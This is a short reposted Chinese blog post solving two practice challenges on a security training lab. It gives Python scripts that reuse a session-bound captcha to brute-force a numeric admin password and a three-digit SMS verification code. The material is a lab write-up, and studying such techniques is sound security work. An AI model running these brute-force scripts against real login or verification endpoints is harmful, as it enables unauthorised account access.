博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
PYTHON POST练手
阅读量:6251 次
发布时间:2019-06-22

本文共 1970 字,大约阅读时间需要 6 分钟。

  闲着无事跟着某同学在上做两道脚本题练手 就是模拟POST发包而已

 

  4-大致上是每次访问index.php相对应一个验证码,只要不重新访问这个页面,用同一个验证码即可。于是代码模拟访问这个页面,获取cookie,再暴力密码post

  11-思路相近,查看源码推测是post到vcode.php对应一个验证码,所以暴力之前post到这个php一次  

    PS:需要暴力两个电话号码

  

#!/bin/env pythonimport urllib, urllib2, cookielibcj = cookielib.CookieJar()opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))urllib2.install_opener(opener)response = urllib2.urlopen('http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php')print response.read()username="admin"pwd=1vcode=""submit="submit"vcode = raw_input()data = {
'username': username, 'pwd': pwd, 'vcode': vcode, 'submit': submit, }for i in range(10000, 1000, -1): data['pwd'] = i f = urllib2.urlopen( url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php', data = urllib.urlencode(data), ) if 'error' not in f.read(): print 'answer is %d' % i break
#!/bin/env pythonimport urllib, urllib2, cookielibcj = cookielib.CookieJar()opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))urllib2.install_opener(opener)response = urllib2.urlopen('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/#')print response.read()response = urllib2.urlopen(        url = 'http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/vcode.php',        data = urllib.urlencode({
'getcode':1, 'mobi':13399999999}) )print response.read()username="13399999999"vcode=""submit="submit"data = {
'username': username, 'vcode': vcode, 'Login': submit, }for i in range(100, 1000): data['vcode'] = i f = urllib2.urlopen( url = 'http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php', data = urllib.urlencode(data), ) print f.read() """ if 'error' not in f.read(): print 'answer is %d' % i break """

 

转载于:https://www.cnblogs.com/gemmeg/p/4295605.html

你可能感兴趣的文章
I00024 出钱买羽
查看>>
原生js实现点击下载图片
查看>>
WinCE winform 开发注意事项
查看>>
linux下文件的一些文件颜色的含义
查看>>
OLTP系统的Oracle RAC性能调优,索引分区极大提升提交性能
查看>>
Leetcode | Binary Tree Zigzag Level Order Traversal
查看>>
websotrm注册码
查看>>
迭代器(Iterable)和for..in..的三种协议
查看>>
Gephi可视化(一)——使用Gephi Toolkit创建Gephi应用
查看>>
判断浏览器是否为顶层窗口
查看>>
数据结构化与保存
查看>>
跨域iframe高度自适应(兼容IE/FF/OP/Chrome)
查看>>
没有发布过产品的程序员不知道什么是真正的软件
查看>>
图论 - Travel
查看>>
服务器设计笔记(3)-----消息队列
查看>>
吐槽一下wp toolkit ToggleSwitch控件
查看>>
Ubuntu16.04上Docker的安装及基本用法
查看>>
步步为营 C# 技术漫谈 四、垃圾回收机制(GC)
查看>>
WPF基础之体系结构
查看>>
Linux源码-等待队列注释
查看>>